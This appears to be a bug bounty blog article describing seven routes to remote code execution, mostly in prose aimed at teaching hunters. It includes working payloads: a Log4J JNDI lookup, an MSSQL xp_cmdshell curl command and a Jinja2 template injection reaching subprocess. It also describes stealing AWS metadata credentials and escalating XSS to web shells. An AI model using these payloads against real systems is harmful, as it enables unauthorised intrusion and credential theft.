7 Ways to achieve remote code execution

BY BLACKBIRD-EU · OCTOBER 22, 2024 · LAST UPDATED ON MARCH 6, 2025

Remote code execution (RCE) vulnerabilities are always fun to find for bug bounty hunters, they usually carry a huge impact and indicate a big upcoming payday. In this article, we will go over the 7 most common ways to achieve remote code execution by exploiting several vulnerability types.

Let's dive in!

1) File Uploads

We've all been thaught that file upload features are usually vulnerable to several vulnerabilities (such as XSS, XXE and even code injections) that originate from unrestricted file uploads.

When file upload functionalities are not properly implemented and tested, it can leave a path open for you to upload malicious files to achieve RCE. Depending on what execution engine the HTTP server supports, you can try and achieve code execution by uploading a PHP or ASP.NET file!

Below is an example of how we crafted a polyglot payload to upload a web shell and achieve code execution:

If you're interested, you can find more content on our Hackademy and Youtube channel about file upload vulnerabilities!

2) Common Vulnerabilities and Exposures (CVEs)

Exploiting certain CVEs is another method to achieve remote code execution. Companies behind bug bounty programs integrate third-party services and packages (such as libraries & frameworks) all the time as it can speed up the development and reduce overhead technology costs that are associated with it.

But this however comes at another cost, these integrated services can often contain insecure code and when a vulnerability is found, it usually impacts everyone who integrated this service, making it a common vulnerability (or exposure).

Log4J was a perfect example, a simple payload like the one below could have impacted any server that's using Apache Log4J for logging purposes:

```
${jndi:ldap://intigriti.com/programs}
```

Always try to enumerate services that your target is using and look for potential CVEs and their respective proof of concepts!

3) Server-side request forgery (SSRF)

Some server-side request forgeries can be further escalated to achieve remote code execution. This is usually done by 1) leveraging an internal service that supports command execution or 2) exposing environment secrets that allow you to later authenticate and gain access to it.

Escalating an SSRF to RCE by leveraging an internal service:

Internal services can also be vulnerable or misconfigured to allow certain methods to be called, including ones that lead to code execution. These are of course usually for development purposes but since we got access to internal-only resources, we make use of these too!

Another example that's currently on the rise is server-side PDF generators that render HTML content and generate a PDF report. If user input is not correctly handled, and HTML injection is possible, you can read local files by injecting an IFRAME tag for example.

TIP! If the browser is deployed without the sandbox enabled (which is often the case when deployed on the cloud), it can lead to remote code execution as you can point it to your site that includes a malicious proof of concept code snippet.

Escalating an SSRF to RCE by exposing secrets:

A common example of escalating an SSRF vulnerability to RCE by exposing secrets is by hitting the AWS metadata endpoint.

This endpoint is only available on services provided by AWS (such as an EC2 instance, Lambda, etc.). It exposes credentials that can later be used with the AWS CLI, allowing you (in severe cases) to take full control of the AWS account if no proper access controls are enforced, including executing arbitrary commands on running systems or modifying data of existing objects.

4) Insecure deserialization vulnerabilities

Data objects are often serialized to enforce a certain format and it also makes it easier to send it over to another application component. However, if this serialized data object contains user-controllable data

and is later deserialized, it can lead to insecure deserialization vulnerabilities as malicious users can pass in any type of arbitrary data that would be executed during the deserialization process.

By injecting methods (or classes), you could invoke the vulnerable application to execute your arbitrary code and achieve remote code execution.

If you'd like to learn more about insecure deserialization vulnerabilities, we recommend you to watch this awesome video from PwnFunction on Youtube:

5) Dependency confusion vulnerabilities

Dependency confusion vulnerabilities are a relatively new class of vulnerabilities that targets the software supply chain, this allows attackers to inject malicious code resulting in remote code execution.

Dependency confusion vulnerabilities originate from (private) non-existing package names, when these are declared in the build configuration scripts as dependencies, the build script will try to obtain the private or public package. Depending on the build process, when the private package name cannot be found, it'll attempt to fetch the public package instead.

This allows an attacker to publish a new public package with the same name and the build script would pull that public package instead.

Alex Birsan has an excellent article on dependency confusion vulnerabilities, if you'd like to learn more and dive deeper into dependency confusion attacks, we recommend reading his article:

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

6) Injection attacks

Injection attacks are one of the most common ways to achieve remote code execution. Let's dive into some examples:

SQL injections (SQLi):

Some databases support methods that allow system command execution, and if unfiltered user input ever gets mixed with an unprepared SQL statement, it can lead to SQL injection. As an attacker, you'd be able to escalate the SQL injection to achieve remote code execution.

Here's a simple payload that would work on a vulnerable target that relies on Microsoft SQL Server (only if the `xp_cmdshell` function is enabled):

```
EXEC xp_cmdshell 'curl https://intigriti.com/programs';
```

TIP! If the vulnerable app is executing commands as the database admin or any other user with elevated privileges, you could manually enable or disable methods or functions!

Server-side template injections (SSTI):

Just like with an SQL injection, when unfiltered user input is passed down to a templating engine, you could in practice inject your template.

Templating engines are also quite powerful and often provide several methods to execute arbitrary code, resulting in code execution.

Here's an example payload that allows us to run system commands using Jinja2 (Python):

```
{{''.__class__.mro()[1].__subclasses__()[CLASS_ID]('curl https://intigriti.com/programs',shell=True,stdout=-1).communicate()}}
```

Where `CLASS_ID` *is the class index number that references back to* `subprocess.Popen`.

Cross-Site Scripting (XSS):

A lot of bug bounty hunters are not aware that in some cases, you could escalate your cross-site scripting vulnerability to remote code execution by targeting site admins.

A common example would be finding an XSS on an instance or panel that supports admin accounts (such as WordPress). The way this works is you craft a payload that would take advantage of a feature that only administrators have access to (such as creating a new admin account, uploading plugins, etc.). Afterward, you can target a site admin and send him/her to the XSS payload.

Once the site admin (with elevated privileges) visits your vulnerable page with your XSS proof of concept, a background request will be executed that will be responsible for creating your new admin account or uploading your web shell to achieve remote code execution.

We do not recommend you perform this without the programs' explicit approval as social engineering often falls beyond the scope of the program. This example just stretches out the possibility of a simple cross-site scripting vulnerability and how it can be escalated to remote code execution.

If you'd like to read more, check out Brutelogic's article on this specific topic:

https://brutelogic.com.br/blog/xss-and-rce/

7) Sensitive data exposure

Another way to achieve remote code execution is by looking for sensitive data exposures such as:

- Hardcoded credentials
- Environment secrets
- Private keys or other authentication keys

These types of secrets allow attackers to authenticate to systems and elevate their privileges, often resulting in coming across a service or component (that was only intended to be used by developers) that allows arbitrary command execution.

Sensitive data can generally be found in:

- Backup and configuration files
- JavaScript files
- Disclosed source code (via Github for example)
- Improper access controls (of an API service for example)

In the event you find any disclosed credentials, make sure to follow the program's scope policy and limit as much impact as possible.

Conclusion

In this article, we went over the 7 most common ways to achieve remote code execution. We all like to find these types of vulnerabilities as they are severe by nature and often carry a big impact. However, they are harder to spot. We hope that this article shines some light on new possible attack vectors that you can try out on your next target!

And if you're looking for a new target, check out our programs on our platform. We've several bug bounty programs that you can hunt on and put your new skills to the test!

https://www.intigriti.com/programs